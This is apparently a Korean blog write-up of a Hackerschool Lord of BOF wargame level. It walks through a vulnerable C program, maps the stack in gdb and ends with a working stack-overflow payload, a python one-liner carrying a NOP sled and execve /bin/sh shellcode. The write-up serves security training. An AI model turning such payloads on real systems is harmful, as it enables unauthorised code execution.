goblin에 로그인하면 역시나 소스 코드와 실행 파일이 하나 보인다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
extern은 외부의 변수를 불러들여 올 때 사용하는 키워드인데, environ 이라는 변수를 불러왔다. environ은 환경 변수를 의미하는데, egghunter 주석의 아랫부분을 보면 모든 환경 변수를 0으로 초기화 해준다. 쉘 코드를 환경변수에 등록해서는 공격을 할 수 없을 듯 하다.
그 후에 argv[1][47]이 '\xbf'가 아니면 프로그램을 종료하도록 한다. 이게 의미하는 바가 무엇인지 알아보기 전에 스택의 구조를 먼저 보아야 할 것 같다.
먼저 argv[1][47]이 "\xbf"여야 하기 때문에, gdb에서 run `python -c 'print "\xbf"*48'` 을 이용해서 argv[1]의 위치가 어딘지, buffer의 위치는 어디인지 알아보기로 했다.
0xbffffc48에서부터 bf가 반복하고 있는 걸 보아 argv[1]의 시작주소인 듯 하다. 참고로 ebp의 위치는 0xbffffaf8이다.
이제 strcpy가 실행된 직후에 해당 값이 복사된 곳을 알아보기로 했다.
buffer의 시작 주소는 bf가 시작되는 0xbffffad0이다. 이 때, 0xbffffaf8부터 8바이트가 bf로 덮이게 된다. 0xbffffaf8은 ebp의 위치였고, 그 뒤의 4바이트는 ret이 될 것이다. 따라서, 40바이트의 buffer 바로 뒤에 sfp와 ret이 존재하는 것을 알 수 있다. 그리고 argv[1][47]의 값이 바로 strcpy를 실행한 후에 ret에 덮어씌울 주소의 앞 1바이트가 되는 것이다. 참고로, 리눅스 상에서는 스택의 공간은 0xbf로 시작하는데, ret 주소를 스택의 어딘가로 지정해야만 하는 것 같다. 쉘 코드를 스택의 어딘가에 미리 저장해둔 뒤에 ret을 해당 주소로 덮어씌우면 되는데 방법은 간단하다.
argv[1]의 길이에 제한이 없기 때문에 인자를 [44바이트의 아무 값 + 4바이트의 주소 + 25바이트의 쉘코드] 의 형태로 입력한 다음, 4바이트의 주소를 입력하는 부분에 쉘 코드가 시작되는 지점의 주소를 넣어주면 된다. 우선 쉘 코드의 시작 주소를 알아보기로 했다. 입력은 A 44개, bf 4개, B 25개이다.
0xbffffc29쯤부터 보이는 41이 A이고 그 뒤에 0xbffffc5b부터 bf가 4개가 들어간 후, 0xbffffc5f부터 시작되는 42가 바로 쉘 코드가 들어갈 곳이기 때문에, bfbfbfbf의 자리에 bffffc5f를 넣어주면 된다. 코드는 아래와 같다.
`python -c 'print "A"*44 + "\x5f\xfc\xff\xbf" + "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
공격에 성공하였다. my-pass를 입력 후 orc로 로그인하면 된다.
'Pwnable > LOB' 카테고리의 다른 글
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level6 (0) | 2020.08.14 |
---|---|
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level5 (0) | 2020.08.14 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level3 (0) | 2020.08.13 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level2 (0) | 2020.08.12 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level1 (0) | 2020.08.12 |